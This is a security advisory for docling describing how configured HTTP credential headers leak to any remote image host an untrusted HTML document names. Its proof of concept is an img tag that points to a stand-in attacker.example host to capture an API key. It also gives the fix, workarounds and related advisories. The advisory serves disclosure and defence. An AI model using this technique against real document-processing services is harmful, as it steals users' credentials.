Docling: Configured HTTP headers sent to every remote image host named by a document
Summary
HTMLBackendOptions.headers is documented for passing authentication headers (API keys, bearer tokens) when fetching remote images. docling sends these headers on every remote image request, to whichever host the document names. An untrusted document that references an attacker-controlled image URL receives the caller's credentials.
Details
docling/backend/utils/image_resource_loader.py merges options.headers into each remote request without checking the destination against the source document's origin. requests strips only Authorization on a cross-host redirect, so custom headers such as X-API-Key or Cookie are also forwarded across redirects.
Affected configurations
- Affected: callers that set
headerstogether withenable_remote_fetch=Trueandfetch_images=True(CLI:--html-image-headerswith--html-image-fetch remoteorall), and convert untrusted HTML. - Not affected: the default configuration.
Impact
Disclosure of the configured request headers, typically credentials, to a host chosen by the document author.
Proof of concept
```html
<img src="https://attacker.example/pixel.png">
`
Converting this file with HTMLBackendOptions(enable_remote_fetch=True, fetch_images=True, headers={"X-API-Key": "..."}) sends the key to attacker.example.
Other items from the original report (DNS validation and unvalidated...
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| docling PyPI | >= 2.95.0, < 2.132.0 | 2.132.0 |
Details and references
### Summary `HTMLBackendOptions.headers` is documented for passing authentication headers (API keys, bearer tokens) when fetching remote images. docling sends these headers on every remote image request, to whichever host the document names. An untrusted document that references an attacker-controlled image URL receives the caller's credentials. ### Details `docling/backend/utils/image_resource_loader.py` merges `options.headers` into each remote request without checking the destination against the source document's origin. `requests` strips only `Authorization` on a cross-host redirect, so custom headers such as `X-API-Key` or `Cookie` are also forwarded across redirects. ### Affected configurations - Affected: callers that set `headers` together with `enable_remote_fetch=True` and `fetch_images=True` (CLI: `--html-image-headers` with `--html-image-fetch remote` or `all`), and convert untrusted HTML. - Not affected: the default configuration. ### Impact Disclosure of the configured request headers, typically credentials, to a host chosen by the document author. ### Proof of concept ```html <img src="https://attacker.example/pixel.png"> ``` Converting this file with `HTMLBackendOptions(enable_remote_fetch=True, fetch_images=True, headers={"X-API-Key": "..."})` sends the key to `attacker.example`. Other items from the original report (DNS validation and unvalidated browser requests) are tracked in GHSA-pc36-qwjq-x68c. ### Patches Fixed in docling 2.132.0 by [#4420](https://github.com/docling-project/docling/pull/4420). Configured headers are now sent only to the origin of the source document, checked on every redirect hop, and no longer to other hosts named by the document. ### Workarounds Upgrade to 2.132.0. For older versions: Do not set `headers` when converting untrusted documents, or use credentials that are valid only for the intended host and have no other value.
- CVSS 3.1
- CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
- Severity from
- GitHub (reviewed advisory)
- Weakness
- CWE-201, CWE-522
- Also known as
- CVE-2026-105742
- github.com/docling-project/docling/security/advisories/GHSA-p3fw-7699-7926
- nvd.nist.gov/vuln/detail/CVE-2026-105742
- github.com/docling-project/docling/pull/4420
- github.com/docling-project/docling/commit/5e469137f275ffc443306a30d12a3a45bceb80fb
- github.com/docling-project/docling
- github.com/docling-project/docling/releases/tag/v2.132.0
More docling advisories
All docling| Date | Advisory | Severity | Fixed in |
|---|---|---|---|
| Oct 7 | docling: race condition | Medium4.0 | 2.132.0 |
| Oct 7 | docling: insecure default | High7.5 | 2.132.0 |
| Oct 7 | Docling: Crafted DoclingDocument JSON embeds local image files into converted output | Medium4.3 | 2.131.0 |
| Oct 7 | Docling: Unbounded table rowspan/colspan in HTML, JATS, ODS and BoxNote backends causes CPU/memory exhaustion | Medium6.5 | 2.131.0 |
| Oct 7 | Docling imports plugin entry points before the allow_external_plugins check | Medium6.7 | 2.131.0 |
| Oct 6 | docling: resource exhaustion | Medium4.3 | 2.131.0 |